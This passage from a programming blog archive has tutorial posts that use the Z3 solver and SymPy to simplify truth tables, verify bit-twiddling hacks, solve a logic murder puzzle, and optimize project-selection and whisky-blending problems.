From there we can build a product of sums or a sums of products using a Karnaugh map: a graphical representation of the truth table from where we can derive a single boolean expression made of a minimum amount of Or and And instructions that represents it.

Karnaugh maps relays in humans’ ability to detect patterns but the maps gets too complicated for 5 and more inputs so they are not practical for large functions.

⊕ However, this problem is NP-complete in general.

The non-human counterpart is the Quine-McCluskey algorithm that can handle much more inputs.

⊕ Z3 could do it too but the solution is perhaps more hand-crafted.

And SymPy has a nice implementation.

From the LUT we need to specify which combination of inputs yields True and the rest of the combinations will be assumed as False.

zor LUT:
    0 0 -> 1    -->   0 0
    1 0 -> 1    -->   1 0
    0 1 -> 0    x
    1 1 -> 1    -->   1 1

These are called minterms:

>>> zor_minterms = [
...     [0, 0],
...     [1, 0],
...     [1, 1]
... ]

⊕ With support for don't cares: combination of inputs for which don’t care the output.

SymPy can build a simplified boolean expression in terms of product of sums (or subterms joined with ands) and sum of products (and subterms joined with ors)

>>> from sympy.logic import POSform     # byexample: +timeout=10
>>> from sympy import symbols           # byexample: +timeout=10

>>> POSform(symbols('x y'), zor_minterms)
x | ~y

There is no elegant way to map SymPy expressions to Z3 expressions but we can do a hack with eval:

>>> import sympy
>>> def truth_table_to_fun(minterms, dontcares=None, form='POS', arity=None):
...     assert form in ('POS', 'SOP')
...     arity = arity or len(minterms[0]) # num of args of our function
...
...     # create on the fly a SymPy variable per argument
...     varnames = ['A%i' % i for i in range(arity)]
...     s = sympy.symbols(' '.join(varnames))
...
...     # simplify as a Product of Sums or as a Sum of Products and get
...     # an expression as a string
...     fun = (sympy.POSform if form == 'POS' else sympy.SOPform)
...     expr = str(fun(s, minterms, dontcares))
...
...     # make the SymPy expression suitable as a Python function definition
...     expr = f'lambda {",".join(varnames)}: ({expr})'
...     # evaluate the expression and return the Python function
...     return eval(expr, None, {})

With truth_table_to_fun we can build a Python function that it will take Z3 bit vectors and it will return a bit vector expression that encodes the minterms specified.

>>> from z3 import BitVecs
>>> zor = truth_table_to_fun(zor_minterms)

>>> A, B = BitVecs('A B', 1)
>>> zor(A, B)
A | ~B

>>> expr = simplify(bitwise(zor, BitVecVal(0b1001, 4), BitVecVal(0b0010, 4)))
>>> bin(expr.as_long())
'0b1101'

Quick and dirty. Don’t blame me.

Further things

Quite a lot.

Some bithacks could be used to simplify Z3 expressions and speedup the model solving.

When verifying the rank bit I tested different approaches and only the branchless implementation gave me a result in a reasonable time.

Testing the performance is something to explore. Soon.

Verifying some bithacks

2021-05-17T00:00:00+00:00

We are going to verify some of the bit twiddling hacks made and collected by Sean Eron Anderson and other authors.

This is the classical scenario to put on test your Z3 skills.

The plan is to pick 4 bithacks and verify them with Z3. Who knows, we may find a bug.

Detect if two integers have opposite signs

This is a simple bithack suggested by Manfred Weis.

int x, y;               // input values to compare signs

bool f = ((x ^ y) < 0); // true iff x and y have opposite signs

It has an immediate translation to Z3 using BitVecs:

>>> from z3 import BitVecs, Solver, If, And, Or

>>> x, y = BitVecs('x y', 32)
>>> f = (x ^ y) < 0

To verify this we will set an assumption that contradicts the expected (and correct) value: if we find it satisfiable it means that the model found by Z3 is a counterexample and then a bug.

An unsatisfiable means that the code is correct.

In this case the assumption is simple:

we say that f is true (the inputs have opposite signs) and the inputs have the same signs;
and we say that f is false and the inputs have the opposite signs.

>>> same_sign = Or(And(x >= 0, y >= 0), And(x < 0, y < 0))

>>> s = Solver()
>>> s.add(If(same_sign, False, True) != f)

>>> s.check()
unsat

Verified.

Conditionally negate a value without branching

The following bithack suggested by Avraham Plotnitzky.

bool fDontNegate;  // Flag indicating we should not negate v.
int v;             // Input value to negate if fDontNegate is false.
int r;             // result = fDontNegate ? v : -v;

r = (fDontNegate ^ (fDontNegate - 1)) * v;

Its translation to Z3 is almost immediate:

>>> from z3 import BitVecs, Solver, If, Or

>>> fDontNegate, = BitVecs('fDontNegate', 32)
>>> v, = BitVecs('v', 32)
>>> f = (fDontNegate ^ (fDontNegate - 1)) * v

The C code uses a bool for the fDontNegate variable but in Z3 we use a BitVec of the same width than the input.

Z3 does not know how to upcast a bool to a BitVec and mixing variables of different sort leads to error.

Instead we just see the boolean as an BitVec.

The C99 and C++11 specifications say that a boolean can be seen as a 0 (false) or as a 1 (true).

>>> s = Solver()
>>> s.add(Or(fDontNegate == 0, fDontNegate == 1))   # force a boolean value

Now, we assume the contradiction.

>>> s.add(If(fDontNegate == 1, v, -v) != f)

>>> s.check()
unsat

And nope, no counterexample was found: the bithack is correct.

Merge bits from two values according to a mask

This bithack was suggested by Ron Jeffery.

unsigned int a;    // value to merge in non-masked bits
unsigned int b;    // value to merge in masked bits
unsigned int mask; // 1 where bits from b should be selected; 0 where from a.
unsigned int r;    // result of (a & ~mask) | (b & mask) goes here

r = a ^ ((a ^ b) & mask);

The verification steps are the same, nothing new around here.

>>> from z3 import BitVecs, Solver, If, And, Or, Bools

>>> a, b, mask = BitVecs('a b mask', 32)
>>> r = a ^ ((a ^ b) & mask)

>>> s = Solver()
>>> s.add(((a & ~mask) | (b & mask)) != r)

>>> s.check()
unsat

Select the bit position (from the most-significant bit) with the given count (rank)

This is a long one.

This bithack was suggested by Juha Järvi and it is much more complex than the others bithacks.

Given an uint64_t number v and a rank r (a number between 1 and 64), the bithack returns the position s of the bit that it is the rth 1 bit counting from the left.

The following 64-bit code selects the position of the rth 1 bit when counting from the left.

The C code is quite large so we are going to go to the Z3 code directly, step by step.

The bithack uses a, b, c, d and t as intermediate and temporal values. These are not variables of the model so we don’t need to create a BitVec for them.

On the other hand, v and r are. In the C code r is 32 bits integer and v is 64 bits but in the following setup both will have the same width of 64 bits.

This is required because Z3 does not know how to upper cast or promote a 32 bits integer to 64 bits.

It is easier to use 64 bits and constraint its range.

>>> from z3 import BitVecs, Solver, If, And, Or, Bools, ULT, Not
>>> solver = Solver()
>>> v, r = BitVecs('v r', 64)

>>> solver.add(1 <= r, r <= 64) # rank valid range [1-64]

>>> UL3 = 0x5555555555555555
>>> UL5 = 0x3333333333333333
>>> UL11 = 0xf0f0f0f0f0f0f0f
>>> UL101 = 0xff00ff00ff00ff

This is the first setup. Notice how a, b and others are just expressions and not Z3’s variables.

>>> a = v - ((v >> 1) & UL3)
>>> b = (a & UL5) + ((a >> 2) & UL5)
>>> c = (b + (b >> 4)) & UL11
>>> d = (c + (c >> 8)) & UL101

>>> t = (d >> 32) + (d >> 48)
>>> s = 64

In C r is a variable: a piece of memory which value can change.

But in Z3 we want to preserve the variables and don’t change them. Their should be constants.

Instead we will use a simple Python variable q to hold the intermediate expressions.

In C we have:

r -= (t & ((t - r) >> 8))   // note the -= modifier

But in Python we introduce q instead

>>> q  = r - (t & ((t - r) >> 8))   # changed from -= to a plain =

Now q is a Z3 expression and we can replace it by another like in C we replace one value by other for the same variable.

The rest are just a copy-and-paste from the bithack.

>>> s -= ((t - r) & 256) >> 3
>>> t  = (d >> (s - 16)) & 0xff

>>> s -= ((t - q) & 256) >> 4
>>> q -= (t & ((t - q) >> 8))
>>> t  = (c >> (s - 8)) & 0xf

>>> s -= ((t - q) & 256) >> 5
>>> q -= (t & ((t - q) >> 8))
>>> t  = (b >> (s - 4)) & 0x7

>>> s -= ((t - q) & 256) >> 6
>>> q -= (t & ((t - q) >> 8))
>>> t  = (a >> (s - 2)) & 0x3

>>> s -= ((t - q) & 256) >> 7
>>> q -= (t & ((t - q) >> 8))
>>> t  = (v >> (s - 1)) & 0x1

>>> s -= ((t - q) & 256) >> 8
>>> s = 65 - s

Verification - when `s != 64`

Now, the funny part. How to verify this?

First a sanity check: s must always to be between 1 and 64 – it is the position of a bit in a 64 bits width number after all.

>>> solver.check(Or(s <= 0, 64 < s)) # check out of range for selected bit
unsat

Ok, let’s see what s value we have for some values of v and r.

# The 60th bit is the first 1 counting from the left (rank 1)
>>> solver.check(v == 0b00010001, r == 1)
sat
>>> solver.model().eval(s)
60

# The 64th bit is the second 1 counting from the left (rank 2)
>>> solver.check(v == 0b00010001, r == 2)
sat
>>> solver.model().eval(s)
64

Verifying that s is correct for every possible value of r and v by enumerating each possible case is not feasible.

It’s just too expensive, in time, memory and brain power.

So the plan is build a set of constraints that lead to a contradiction against s: if it is satisfiable, the model (solution) found will be a counterexample and we’ll know that s is wrong.

Assume that we fix s and r to s = 60 and r = 2. What we know about v?

We know that v has one 1 bit set at position 60 (reading from left), which it is the rank bit and on the left of it it has one and only one 1 bit more.

v could be one of these to name a few:

MSB  rank bit  LSB
   \     V    /
    ::10010000      (the :: means a bunch of zero
    ::01010000       to fill the 64 bits bit vector)
    ::00110011
 /------|
one and only one
    1 bit

From the picture we can think, what value v is the lowest of all the possible v values that satisfy s = 60 and r = 2?

A number is lower than other than another if it has fewer 1 bits and those are in the right side (lesser significant bits).

We cannot reduce the count of 1 bits on the left side of the rank bit: we are forced to have r - 1 bits otherwise we would violate the r = 2 condition. But we have no restriction on the right side.

The minimum v value has all zeros on the right and it has all the 1 bits “pushed” to the left of the rank bit as possible.

In short:

     rank bit
         V
    ::00110000 ← the minimum
    ::10010000
    ::01010000
    ::00110011
 /------|
a single 1

Given s and r we can write the minimum value in two steps:

build the 1 bits sequence including the rank bit
shift the sequence to the left filling the right bits with 0s

>>> minimum = ((1 << r) - 1) << (64 - s)

The next question is, what are the greatest v of all the possible v that satisfy s and r?

The maximum v value has all the r - 1 1 bits on the left (most significant bits) and the bits on the right of the rank bits are all 1.

It is basically the same reasoning for the minimum but in the opposite direction.

In short:

     rank bit
         V
    ::00110000 ← the minimum
    ::10010000
    ::01010000
    ::00110011
   1::00011111 ← the maximum
 /------|
a single 1

The maximum has two parts.

the high part which are the r - 1 bits pushed to the left

>>> highpart = ((1 << (r-1)) - 1) << (64 - (r-1))

and the lower part which it is the rank bit and all the bits on its right being 1

>>> lowerpart = (1 << (64 - s + 1)) - 1

Trivially, the maximum is:

>>> maximum = highpart | lowerpart

Now, let’s try to find a counterexample: a number v that does not satisfy the minimum/maximum range for some valid r and s.

The BitVecs are signed integers and they use signed comparisons. In our definition of minimum and maximum we though them as unsigned so we need to use Z3’s ULT functions (unsigned less than).

>>> not_in_range = Or(ULT(v, minimum), ULT(maximum, v))

>>> solver.check(s != 64, not_in_range) # byexample: +timeout=120 +skip
unsat

The extra assumption s != 64 is because while 64 is a valid position, it is also used as an error.

A trivial error settings that violates the minimum/maximum range could be:

>>> solver.check(s == 64, r == 2, v == 1, not_in_range)
sat

Verification - when `s == 64` (first try)

Because s = 64 means that the rank bit is the LSB, we know that we must have r - 1 bits in the rest of the bit vector.

In particular we must have exactly r 1 bits in v – no more, no less.

So we have two scenarios:

when we have v with its LSB set to 1 and with exactly r 1 bits in total
when v has less than r 1 bits and therefore it is an expected error case

For the bit-count we can use a naive bithack

>>> def bit_count(v):
...     count = 0
...     for i in range(64):
...         count += v & 1
...         v >>= 1 # we can override v here 'cause it won't affect the outer v
...     return count

>>> good_cases = And(bit_count(v) == r, (v & 1) == 1)
>>> bad_cases = bit_count(v) < r

Finally we check the negation of it. Sadly the check takes too much time and I don’t know the result

>>> solver.check(s == 64, And(Not(good_cases), Not(bad_cases)))     # byexample: +skip
"i don't know bro"

Verification - when `s == 64` (second try)

The naive approach iterates 64 times, perhaps we could use the Kernighan’s way.

In C, it goes through as many iterations as 1 bits are in v.

unsigned int v; // count the number of bits set in v
unsigned int c; // c accumulates the total bits set in v
for (c = 0; v; c++) {
  v &= v - 1; // clear the least significant bit set
}

However in Z3 we must go through all the 64 iterations because in the Kernighan’s code, the loops ends when the variable v is zero.

In C, you are evaluating the code in each instruction; in Z3 you are defining code but no evaluation is taking place.

This makes an iteration dependent of the previous one: when checking (evaluation) the model yields v = 0 for some iteration, then the rest of the iteration should be no-ops.

So we must express this in Z3, we must stablish the relation between one iteration and the next one for all the 64 iterations:

>>> from z3 import BitVecVal
>>> def bit_count(v):
...     c = BitVecVal(0, 64)
...     for i in range(64):
...         # Create a "new generation" expression for 'c'
...         # based if v != 0 or not
...         c = If(v != 0, c + 1, c)
...
...         # Only the last instruction can "update" 'v'
...         v = If(v != 0, v & (v - 1), v)
...
...     return c

In the code above I introduced an auxiliary c variable. This is because the C variable c = 0 will be interpreted by Z3’s If as a boolean (false) that cannot be promoted later to a BitVec.

To enforce the correct type, we use a BitVecVal value initialized to 0.

>>> good_cases = And(bit_count(v) == r, (v & 1) == 1)
>>> bad_cases = bit_count(v) < r

>>> solver.check(s == 64, And(Not(good_cases), Not(bad_cases)))     # byexample: +skip
"i don't know bro"

Unfortunately, it didn’t work either.

Verification - when `s == 64` (third try - the good one)

In both cases, the naive and the Kernighan’s way of counting bits created 64 restrictions.

In particular they are nested or entangled restrictions: one restriction depends on a previous one.

Moreover, we use arithmetic addition (+). When we perform a bit operation like and (&), each output bit is calculated based on its two input bits and independently from the rest.

But when we add two bit vectors, the carry bit is propagated from the LSB to the MSB making the output bit dependant of the input bits on its right (LSBs).

The arithmetic addition entangles the bits.

Long story short: it will be slow.

The key is to operate in parallel.

And this bithack suggested by Andrew Shapira, improved later by Charlie Gordon and Don Clugston, Eric Cole, Al Williams and Sean Eron Anderson will do the trick.

>>> def bit_count(v):
...     UL3 = 0x5555555555555555
...     UL15 = 0x3333333333333333
...     UL255a = 0xf0f0f0f0f0f0f0f
...     UL255b = 0x101010101010101
...     S = (8 - 1) * 8
...     v = v - ((v >> 1) & UL3)            # temp
...     v = (v & UL15) + ((v >> 2) & UL15)  # temp
...     v = (v + (v >> 4)) & UL255a         # temp
...     c = (v * UL255b) >> S               # count
...     return c

>>> z = bit_count(v)    # compute this once
>>> good_cases = And(z == r, (v & 1) == 1)
>>> bad_cases = z < r

>>> solver.check(s == 64, And(Not(good_cases), Not(bad_cases))) # byexample: +timeout=600
unsat

Victory!

The hidden bug

The link in the index to the last bithack is broken.

Not very exciting bug though.

Final thoughts

Verification is hard.

Thinking in a way to build a set of restrictions and assumptions that could lead to a contradiction without leading to an exponential search is not trivial.

Working with shifts, masks and binary operations is not a problem but when we do arithmetics the bits not longer are independent.

Arithmetic operations entangle the bits.

for-loops are also another way to entangle the bits when the loop condition depends on the value of a Z3 variable.

for-loops like those forces us to model all the iterations.

With respect to Z3, BitVec works pretty well but it lacks of a way to promote or upcast to wider BitVecs. This needs to be done by hand.

And don’t forget that BitVec is a signed integer so < are signed by default.

Solving a Murder Case with Z3

2021-05-09T00:00:00+00:00

Victor has been murdered!

There are strong evidences that point that Victor was murdered by a single person. The investigation led to three suspects: Art, Bob, and Carl.

But who is the murder?

⊕ I took this logic puzzle from a Stanford University course: Introduction to Logic

Art says he did not do it. He says that Bob was the victim’s friend but that Carl hated the victim.

Bob says he was out of town the day of the murder, and besides he didn’t even know the guy.

Carl says he is innocent and he saw Art and Bob with the victim just before the murder.

Propositional logic

The proposition “Bob says he was out of town the day of the murder” cannot be tested by pure logic.

It is a statement that is not related with any other statement said including his own so it will not be in contradiction.

Unless we have a camera capturing Bob near the crime scene the day of the murder with a validated date and time, we cannot contradict his claim.

The propositions “Art says he did not do it” and “Carl says he is innocent” have the same level of useless.

$$ \begin{aligned} Art \R claims &= Bob \R friend \R of \R Victor ∧ ¬Carl \R friend \R of \R Victor \\ Bob \R claims &= ¬Bob \R knows \R Victor \\ Carl \R claims &= Art \R saw \R with \R Victor ∧ Bob \R saw \R with \R Victor \end{aligned} $$

The propositions of above seems to be disconnected. This is a limitation of the propositional logic: we cannot connect “Bob was the victim’s friend” with “[Bob] didn’t even know the guy”.

Those are two separated propositions.

To connect them we need to use a first order logic or predicated logic.

First order logic

A first order logic has more expressive power to capture more subtle connections.

We know that if a person $s$ is a friend of $v$, then $s$ must know $v$ – or at least is a reasonable assumption of how human friendship works.

Then we can have the following two predicates (think in them as functions or parametric propositions).

$$ is \R friend(s, v) \\ knows(s, v) $$

These predicates are not true or false: only when we fix their inputs we can ask about their truthfulness.

⊕ Formally I should add that $s$ belongs to the domain of suspects $\{Art, Bob, Carl\}$ and $v$ belongs to the domain of victims $\{Victor\}$.

Without a domain, $s$ and $v$ are just letters and the proposition makes no sense.

However we can build propositions that are true or false on top of that:

$$ ∀ s, ∀ v \; is \R friend(s, v) ⟹ knows(s, v) $$

And that proposition is true for all the suspects and victims possible.

In particular, the following is also true:

$$ is \R friend(Bob, Victor) ⟹ knows(Bob, Victor) $$

That’s the link, the connection between “Bob was the victim’s friend” with “[Bob] didn’t even know the guy”.

It is a mathematical way to say: “if Bob was the victim’s friend, then he knew the guy; if he didn’t know the guy he could not be his friend”.

The claim “[Carl] saw Art […] with the victim just before the murder” is tricky.

A person $s$ can be in a public place with $v$ and that does not implies anything. Even if they are in the same room, $s$ may forget about $v$ 5 minutes later.

For the sake of simplicity we will say that the following is true:

$$ ∀ s, ∀ v \; be \R with(s, v) ⟹ knows(s, v) $$

Using the predicates we can rewrite the suspects’ claims as follows:

$$ \begin{aligned} Art \R claims &= is \R friend(Bob, Victor) ∧ ¬is \R friend(Carl, Victor) \\ Bob \R claims &= ¬knows(Bob, Victor) \\ Carl \R claims &= be \R with(Art, Victor) ∧ be \R with(Bob, Victor) \end{aligned} $$

Z3

>>> from z3 import (DeclareSort, Function, BoolSort, Bools, And, Not,
...                 Implies, ForAll, Solver, Consts, AtLeast)

>>> Suspects = DeclareSort('Suspects')
>>> Art, Bob, Carl, s = Consts("Art Bob Carl s", Suspects)

>>> Victims = DeclareSort('Victims')
>>> Victor, v = Consts("Victor v", Victims)

Notice how we explicitly declare the domains or sorts over we will be operating: the domain of suspects and the domain of victims.

“Bob is a sort of Suspects; Victor is a sort of Victims”. Weird.

The sort is used to define the predicates –aka functions:

>>> is_friend = Function('is_friend', Suspects, Victims, BoolSort())
>>> knows = Function('knows', Suspects, Victims, BoolSort())
>>> be_with = Function('be_with', Suspects, Victims, BoolSort())

All those three functions receives a suspect and a victim as inputs and return an element of sort boolean: true or false.

Note how those functions are either true or false, they are just functions.

In contrast the following relationships are true and they are our first two restrictions set:

>>> solver = Solver()
>>> solver.add(
...     ForAll([s, v], Implies(is_friend(s, v), knows(s, v))),
...     ForAll([s, v], Implies(be_with(s, v), knows(s, v)))
... )

>>> solver.push()

And now the suspects’ claims:

>>> art_claims = And(is_friend(Bob, Victor), Not(is_friend(Carl, Victor)))
>>> bob_claims = Not(knows(Bob, Victor))
>>> carl_claims = And(be_with(Art, Victor), be_with(Bob, Victor))

>>> solver.assert_and_track(art_claims, 'art_claims')
>>> solver.assert_and_track(bob_claims, 'bob_claims')
>>> solver.assert_and_track(carl_claims, 'carl_claims')

Finally, we check if the claims are consistent between or if there are any contradiction.

>>> solver.check()
unsat

Nop! Someone is lying!

Finding the murder

>>> solver.unsat_core()
[art_claims, bob_claims]

Z3 can calculate the unsat core that it is a subset of the tracked restrictions that lead to unsatisfiable result.

So Art’s or Bob’s claims is/are producing contradictions.

⊕ Z3 does not produce the minimum unsat core by default. We could force it to have exactly which claim is false but in my setup I could not make it work.

So we will have to do it by hand.

By assumption, only one of the suspects is lying, the rest are telling us the truth. But who is lying?

We restore the solver before anding the claims and this time we will require not all but at least 2 claims to be true. By assumption the third claim will be false.

>>> solver.pop()
>>> solver.push()

>>> solver.add(AtLeast(art_claims, bob_claims, carl_claims, 2))
>>> solver.check()
sat

Now, what suspect is lying?

>>> m = solver.model()
>>> m.eval(art_claims)
True
>>> m.eval(bob_claims)
False
>>> m.eval(carl_claims)
True

So Bob is lying!

To rule out any other possible solution we will roll back the solver again and in this time we use the claims as assumptions.

For the check() method an assumption is a restriction like any other but it is not added to the solver (like when you call add()).

This is handy way to test different claims combinations without rolling back the entire solver over and over.

>>> solver.pop()
>>> solver.push()

>>> solver.check(art_claims, bob_claims)
unsat
>>> solver.check(bob_claims, carl_claims)
unsat
>>> solver.check(art_claims, carl_claims)
sat

Indeed, only when Bob’s claims are not considered we see a consistent scenario.

Bob was the killer.

Planning Space Missions with Z3

2021-05-02T00:00:00+00:00

A space company is planning the next 4 years. It has several projects, each one with its own budget requirement per year, but the company has a limited budget to invest.

Moreover, some projects depends on others to make them feasible and some projects cannot be done if other projects due unbreakable restrictions.

Project	1st	2nd	3rd	4th	Depends	Not	Profit
1 Cube-1 nano-sat	1.1	2					12
2 Cube-2 nano-sat		2.5	2				12
3 Infrared sat			1	4.1	on 6	with 4	18
4 Colored img sat			2	8		with 3	15
5 Mars probe		2	8	4.4	on 1 & 2		12
6 Microwave tech	4	2.3	2				1

Under an incredible amount of assumptions and good luck, what is the best strategy to maximize the profit?

We can model if one project is make or not with a boolean variable $P_i$; we not longer are in the plane of pure real linear programming.

The relation between the profit and them is simply:

$$ Z = max\{12 P_1 + 12 P_2 + 18 P_3 + 15 P_4 + 12 P_5 + 1 P_6 \} $$

But we have restriction on the budget per year. Let’s say 6 and let’s assume that the unspent budget of one year $B_j$ can be used the next one (and let’s assume that the unspent budget is not part of the profit).

$$ 1.1 P_1 + 4 P_6 + B_1 = 6 \\ 2 P_1 + 2.5 P_2 + 2 P_5 + 2.3 P_6 + B_2 = 6 + B_1 \\ 2 P_2 + 1 P_3 + 2 P_4 + 8 P_5 + 2 P_6 + B_3 = 6 + B_2 \\ 4.1 P_3 + 8 P_4 + 4.4 P_5 + B_4 = 6 + B_3 $$

This is mixed linear programming: mixing integers (booleans) and real arithmetics.

The interesting part is how to model the restrictions between the projects using only integers/booleans.

Boolean theory as integer linear inequalities

The company could choose to do project 3 or project 4 but not both.

Becase all the variables $P_i$ can be 0 or 1, this is modeled as:

$$ P_3 + P_4 <= 1 $$

In general, zero or one restriction among $X_i$ is modeled as

$$ \sum_{\forall i} X_i <= 1 $$

We can tweak this to make an one and only one restriction ($\sum_{\forall i} X_i = 1$), a at least N restriction ($\sum_{\forall i} X_i >= N$), a no more than N restriction ($\sum_{\forall i} X_i <= N$) and more.

In particular, the at least 1 is equivalent to do the boolean or operation: $X_1 ∨ X_2 ∨ \dots ∨ X_n = Y$

What about the dependency restrictions? Project 3 depends on 6 and project 5 depends on 1 and 2.

$$ P_3 <= P_6 \\ 2 P_5 <= P_1 + P_2 \\ $$

In general, a boolean variable $Y$ depends on $N$ boolean variables $X_i$, then

$$ N Y <= \sum_{\forall i} X_i $$

As before, we can tweak this to make a depends on at least M restriction ($M Y <= \sum_{\forall i} X_i$ with $M < N$).

A $Y$ depends on $X_i$ is weaker than $X_i ⟹ Y$ (in the former case, $Y$ may be false even of all the dependencies are satisfied).

An implication can be modeled as:

$$ N Y <= \sum_{\forall i} X_i <= (N-1) + Y $$

This last one can be seen as if all the dependencies are set, $Y$ is set. In boolean terminology, this is an and: $X_1 ∧ X_2 ∧ \dots ∧ X_n = Y$

Z3 time!

>>> from z3 import Bools, Reals, Optimize
>>> s = Optimize()

>>> P = Bools('P0 P1 P2 P3 P4 P5 P6') # P[0] will not be used
>>> B = Reals('B0 B1 B2 B3 B4') # B[0] will not be used

>>> profit = s.maximize(12 * P[1] + 12 * P[2] + 18 * P[3] + 15 * P[4] + 12 * P[5] + 1 * P[6])

Variables P[0] and B[0] are not used, they were created just to make the P[i] notation to match with the inequalities of above.

However, I’m not going to let Z3 pick random values for them so I’m going to pin them:

>>> s.add(
...     P[0] == False,
...     B[0] == 0
... )

The following is a 1-to-1 translation of the inequalities for the budget restrictions:

>>> s.add(
...     1.1 * P[1] + 4   * P[6] +       B[1] == 6,
...     2   * P[1] + 2.5 * P[2] + 2   * P[5] + 2.3 * P[6] +     B[2] == 6 + B[1],
...     2   * P[2] + 1   * P[3] + 2   * P[4] + 8   * P[5] + 2 * P[6] + B[3] == 6 + B[2],
...     4.1 * P[3] + 8   * P[4] + 4.4 * P[5] +       B[4] == 6 + B[3]
... )

Now, I want to set the dependency and conflict restrictions in two different ways: using inequalities as described above and using Z3 high level abstraction to work with Bools and its support for boolean theories.

Because of this I’m going to preserve a copy of the current object s to restore it later.

>>> s.push()

Note: technically push() and pop() also change what solver can be used; a safer alternative could be use Optimize’s deep copy. However, currently in Z3 version 4.8.10 it is not supported (a bug perhaps?)

Integer linear programming

>>> from z3 import IntSort

>>> to_int = lambda b: IntSort().cast(b)
>>> s.add(
...     # conflict rule: or P3 or P4 but not both
...     to_int(P[3]) + to_int(P[4]) <= 1,
...     # dependency rule: P3 depends on P6
...     to_int(P[3]) <= to_int(P[6]),
...     # dependency rule: P5 depends on P1 and P2
...     2 * P[5] <= to_int(P[1]) + to_int(P[2])
... )

As you see, Bools cannot be added up or compared by inequality directly (how would you interpret True + True?). Instead we cast them to integers.

In the other inequalities we didn’t have to because things like 2 * P[5] already makes an integer expression; multiplying by 0 or 1 does not work however.

Note: currently in Z3 version 4.8.10 has a ToInt function but it does not work with Bools (BoolRef objects).

>>> s.check()
sat

>>> profit.value()
55

>>> m = s.model()
>>> print("Projects:\n", *[f"- {P[i]} = {m[P[i]]}\n" for i in range(1, 7)])
Projects:
 - P1 = True
 - P2 = True
 - P3 = True
 - P4 = False
 - P5 = True
 - P6 = True

Now let’s see how we can rewrite the inequalities for dependency and conflict restrictions.

Boolean theory

First we restore the solver to the point before adding those inequalities:

>>> s.pop()

Now we use boolean expressions that may make more sense:

>>> from z3 import And, If
>>> s.add(
...     # conflict rule: P3 and P4 cannot happen
...     And(P[3], P[4]) == False,
...     # If the dependency P6 is not met, P3 must be False,
...     # otherwise whatever P3 is fine
...     If(P[6] == False, P[3] == False, P[3]),
...     # If the dependencies P1 and P2 are not met, P5 must be False,
...     # otherwise whatever P5 is fine
...     If(And(P[1], P[2]) == False, P[5] == False, P[5])
... )

>>> s.check()
sat

>>> profit.value()
55
>>> m = s.model()
>>> print("Projects:\n", *[f"- {P[i]} = {m[P[i]]}\n" for i in range(1, 7)])
Projects:
 - P1 = True
 - P2 = True
 - P3 = True
 - P4 = False
 - P5 = True
 - P6 = True

Z3 has a bunch of boolean expressions/functions that can replace the traditional inequalities: If, AtMost, AtLeast, Implies, And, Or and Not.

Blending Whisky with Z3

2021-04-29T00:00:00+00:00

A whisky producer uses three kind of licor to make their whisky: $A$, $B$ and $C$.

Three kind of whisky can be made using the licor in the following proportions:

Whisky	Sales Price	Recipe
$E$	$680$	No less than 60% of $A$, no more than 20% of $C$
$F$	$570$	No less than 15% of $A$, no more than 80% of $C$
$G$	$450$	No more than 50% of $C$

The producer has the following stock and price list from its licor supplier:

Licor	Stock	Price
$A$	$2000$	$700$
$B$	$2500$	$500$
$C$	$1200$	$400$

Note: the prices are in $ per liter and the stock are in liters.

The goal is to maximize the profit.

Bad plan: non-linear system

Let’s begin with the bounds of each licor:

$$ A_E E + A_F F + A_G G = A <= 2000 \\ B_E E + B_F F + B_G G = B <= 2500 \\ C_E E + C_F F + C_G G = C <= 1200 \\ $$

We introduced a new variable per combination of licor and whisky: $A_E$ stands for the ratio of licor $A$ used in the whisky B, $B_F$ stands for the ratio of licor $B$ used in the whisky $F$ and so on.

These variables are in liters of licor per liter of whisky (or they are unit-less if you prefer).

And we are fuck.

These three equations are not longer linear because we have the product of two variable ($A_E E$ for example).

We need to rethink our strategy.

The blending

Think in $A_E$ not as the ratio but as the amount of liters itself of licor $A$ used in $E$.

This is a blending problem where some variables represent a part, fraction or subcomponent of another.

$$ A_E + A_F + A_G = A <= 2000 \\ B_E + B_F + B_G = B <= 2500 \\ C_E + C_F + C_G = C <= 1200 \\ $$

Now the system is linear again.

What about the restrictions of each recipe?

It would be wonderful to put something like this that it is a literal translation of the problem into inequalities:

$$ 0.6 <= A_E/E <= 1 \\ 0 <= C_E/E <= 0.2 \\ --- \\ 0.15 <= A_F/F <= 1 \\ 0 <= C_F/F <= 0.8 \\ --- \\ 0 <= C_G/G <= 0.5 \\ $$

But again, that makes the system non-linear.

Instead we do the following:

$$ 0.6 E <= A_E <= 1 E \\ 0 E <= C_E <= 0.2 E \\ --- \\ 0.15 F <= A_F <= 1 F \\ 0 F <= C_F <= 0.8 F \\ --- \\ 0 G <= C_G <= 0.5 G \\ $$

We complete the recipe of each whisky with the remaining licor:

$$ A_E + B_E + C_E = E \\ A_F + B_F + C_F = F \\ A_G + B_G + C_G = G \\ $$

So what did we do? We split each licor (input $I$) into $N$ blending variables ($I_o$), one for each whisky type (output $O$).

We ensured that the sum of the blending variables for the same licor (input) summed up the total amount of that licor ($A_E + A_F + A_G = A$) – we did a partition.
We restricted each blending variable based on a proportion of each amount of whisky ($0.6 E <= A_E <= 1 E$) – these are the blending rules.
We ensured that the sum of the blending variable across all the licor (input) for the same whisky (output) summed up the total amount of that whisky.

$A_E$ $A_F$ $A_G$ → $A$

$B_E$ $B_F$ $B_G$ → $B$

$C_E$ $C_F$ $C_G$ → $C$

↓ ↓ ↓

$E$ $F$ $G$

The goal

And finally, this is the goal to maximize:

$$ Z = max\{680 E + 570 F + 450 G - 700 A - 500 B - 400 C \} $$

Find the optimum with Z3

Setup the engine, create the variables and ensure that them are non-negative.

>>> from z3 import Reals, Optimize
>>> s = Optimize()

>>> A, B, C, E, F, G = Reals('A B C E F G')
>>> A_E, A_F, A_G = Reals('A_E A_F A_G')
>>> B_E, B_F, B_G = Reals('B_E B_F B_G')
>>> C_E, C_F, C_G = Reals('C_E C_F C_G')

>>> s.add(*[x >= 0 for x in [A, B, C, E, F, G]])
>>> s.add(*[x >= 0 for x in [A_E, A_F, A_G]])
>>> s.add(*[x >= 0 for x in [B_E, B_F, B_G]])
>>> s.add(*[x >= 0 for x in [C_E, C_F, C_G]])

Limit the amount of supplies

>>> s.add(
...     A <= 2000,
...     B <= 2500,
...     C <= 1200
... )

Split the licor for each whisky

>>> s.add(
...     A_E + A_F + A_G == A,
...     B_E + B_F + B_G == B,
...     C_E + C_F + C_G == C
... )

Blending rules:

>>> s.add(
...     # minimum amount of licor for whisky E
...     0.6 * E <= A_E,
...     0 <= C_E,
...     # maximum amount of licor for whisky E
...     A_E <= E,
...     C_E <= 0.2 * E,
...
...     # minimum amount of licor for whisky F
